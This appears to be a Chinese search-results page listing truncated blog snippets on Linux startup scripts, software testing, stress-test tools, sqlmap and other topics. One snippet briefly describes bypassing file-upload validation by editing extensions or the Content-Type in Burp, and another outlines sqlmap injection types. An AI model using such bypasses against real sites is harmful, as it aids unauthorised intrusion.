    将脚本添加到初始化执行的队列中去。

    注意如果脚本需要用到网络,则NN需设置一个比较大的数字,如99。

    1) 将你的启动脚本复制到 /etc/init.d目录下,以下假设你的脚本文件名为 test。

    2) 设置脚本文件的权限

        $ sudo chmod 755 /etc/init.d/test
    

    3) 执行如下命令将脚本放到启动脚本中去:

        $ cd /etc/init.d
        $ sudo update-rc.d test defaults 95
    展开全文
  • 文件上传验证绕过技术总结

    万次阅读 2017-03-18 18:05:56
     1.... 很简单啦,直接使用webscarab或者burp修改一下后缀名就行。 ...2.服务端验证绕过-Content-type检测 ...若服务端检测文件类型时是检测Content-type的值,也很简单,在webscarab或者burp中修改Content
  • 软件测试总结——常见的面试问题(一)

    万次阅读 多人点赞 2019-12-04 11:36:59
    1.软件测试级别? 单元测试:单元测试是对软件组成单元进行测试。其目的是检验软件基本组成单位的正确性。测试的对象是软件设计的最小单位:模块。Findyou又称为模块测试,一个单元测试是用于判断某个特定条件...
  • google著名开源项目总结

    万次阅读 2010-09-05 23:27:00
    有一篇文章总结了一些Google比较著名的开源项目(该文全文已附在本文最后),本文在那篇文章基础上又添加了几个开源项目。
  • Expect 教程中文版

    千次阅读 2007-10-25 01:22:00
    原贴:http://blog.chinaunix.net/u/13329/showart.php?id=110100  
  • Linux运维之道

    万次阅读 2018-09-03 20:28:33
    Linux运维之道(大量经典...编辑推荐 1、《Linux运维之道》从运维工作的实际需求出发,全面讲解相关的技术、经典案例,以及常见问题的解决方案。 2、作者丁明一具有丰富的实践及教学经验,且非常认真,本书是其呕...
  • 十大网站压力测试软件

    万次阅读 2011-09-15 17:48:58
    两天,jnj在本站发布了《如何在低速率网络中测试 Web 应用》,那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具,这样,你就可以知道你的服务器以及你的WEB应用能够顶得住多少的...
  • sqlmap 详解

    万次阅读 2017-08-17 17:33:43
    sqlmap 官网 ... 注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。 sqlmap简介 sqlmap支持五种不同的注入...1、基于布尔的盲注,即可以根据返回
  • LINUX命令总结

    万次阅读 2014-01-27 15:54:23
    1、 永久更改ip ifconfig eth0 新ip 然后编辑/etc/sysconfig/network-scripts/ifcfg-eth0,修改ip 2、从Linux上远程显示Windows桌面 安装rdesktop包 3、 手动添加默认网关 以root用户, 执行: route add default...
  • 炫酷ubantu桌面,compiz特效和配置

    万次阅读 2012-08-18 12:27:49
    1 安装CCSM设置管理器 ...  在弹出的“Ubuntu 软件中心”窗口右上角的搜索栏中,输入“compiz”,  可以看到,默认的“Compiz”这个软件已经安装在系统上了,3D桌面就是由这个软件来运行才能实现的。...
  • 十个免费的WEB压力测试工具

    万次阅读 2016-12-26 21:26:53
    两天,jnj在本站发布了《如何在低速率网络中测试 Web 应用》,那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具,这样,你就可以知道你的服务器以及你的WEB应用能够顶得住多少的...
  • 最新版本:x-studio10.0.5900.509(2020年1月9日更新) ... ... x-studio是一款强大的游戏开发IDE;...具有的完整2D粒子编辑功能,场景(UI)编辑功能,屏幕适配预览功能(让手动适配问题彻底解放)。...
  • SWT 基础

    千次阅读 2009-04-08 14:45:00
    SWT 基础(Standard Widget Toolkit) SWT简介:SWT(Standard Widget Toolkit)是开源的窗口组件工具包,Java可以通过使用SWT来设计可以提供高效,可移植访问的操作系统UI设施。Sun提供了AWT以及后来的Swing,但是这...
  • ubuntu unity 3D桌面效果

    万次阅读 2017-09-14 11:25:33
    因为这个版本正在做较大的修改和测试,把 Unity 2D桌面取消了,这是为了在以后“统一”桌面做准备,所以在Ubuntu 12.10版中使用带3D特效的Unity桌面或者另行安装使用Gnome-Shell桌面时,常常会出现一些问题。...
  • Linux期末考试模拟试题

    万次阅读 多人点赞 2019-10-30 22:17:04
    4.下面哪个命令是用来定义shell的全局变量(D ) A. exportfs B. alias C. exports D. export 11. 在vi编辑器里,命令"dd"用来删除当前的(A) A. 行 B. 变量 C. 字 D. 字符 12. 当运行在多用户模式下时,用Ctrl+...
  • Kali Linux 安装配置和优化 渗透测试介绍 安全问题的根源的思考: 分层思想 -不同的人工作在项目的不同层面上,造成了个体看待项目片面,不能从整体考虑项目的安全 只追求功能的实现 最大的安全威胁是人 ...
  • Termux 高级终端安装使用配置教程

    万次阅读 多人点赞 2019-02-13 10:52:43
    本文作者: 国光 本文链接: ... 版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处! 目录 简介 基本操作 ... 更换国内源...
1 2 3 4 5 ... 20
收藏数 5,179
精华内容 2,071
关键字:

php 编辑框模拟shell